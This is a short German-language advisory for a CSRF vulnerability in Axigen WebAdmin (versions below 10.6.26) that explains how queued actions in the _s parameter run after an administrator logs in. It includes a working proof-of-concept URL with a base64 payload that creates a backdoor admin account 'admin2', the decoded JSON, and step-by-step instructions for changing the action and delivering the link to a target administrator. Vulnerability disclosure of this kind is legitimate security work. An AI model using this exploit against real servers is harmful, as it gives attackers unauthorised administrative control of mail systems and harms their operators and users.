CVE-2025-68722: Axigen WebAdmin CSRF

Zusammenfassung der Sicherheitslücke

Kritische zustandsändernde Aktionen in der Axigen WebAdmin-Oberfläche sind über GET-Anfragen zugänglich. Während das _h-Token vor direktem CSRF schützt, verarbeitet die Anwendung in der Warteschlange befindliche Anfragen über den _s-Parameter (Breadcrumb) unmittelbar nach der Authentifizierung eines Benutzers.

Ein Angreifer kann eine URL erstellen, die einen Base64-kodierten Payload im _s-Parameter enthält. Wenn ein Administrator auf diesen Link klickt und den Anmeldevorgang abschließt, wird die in der Warteschlange befindliche Aktion automatisch in seinem Kontext ausgeführt.

Betroffene Versionen: < 10.6.26

Weitere Informationen finden Sie in der Axigen Knowledge Base.

POC

Ziel-URL: https://{axigen-domain}:9443/?_h=invalid&_s=eyJwYWdlIjoiYXVzciIsInBhcmFtcyI6eyJhY3Rpb24iOiJhZGQiLCAidXNlcm5hbWVfaW5wdXQiOiJhZG1pbjIiLCAicGFzc3dvcmRfaW5wdXQiOiJhZG1pbjIiLCAiZGlzcGxheV9uYW1lX2lucHV0IjoiYWRtaW4yIn19

Dekodierter Payload (_s-Parameter):

{"page":"ausr","params":{"action":"add", "username_input":"admin2", "password_input":"admin2", "display_name_input":"admin2"}}

Schritte zur Reproduktion:

1. Ändern: Ändern Sie den JSON-Payload, um verschiedene administrative Aktionen zu Zielen (z.B. Ändern von Servereinstellungen).
2. Kodieren: Kodieren Sie das geänderte JSON erneut in Base64.
3. Ausliefern: Ersetzen Sie den Wert des _s-Parameters in der Angriffs-URL und liefern Sie diese an einen Zieladministrator.
4. Auslösen: Nach der Anmeldung über diesen Link wird das Konto admin2 erstellt (oder Ihre benutzerdefinierte Aktion ausgeführt).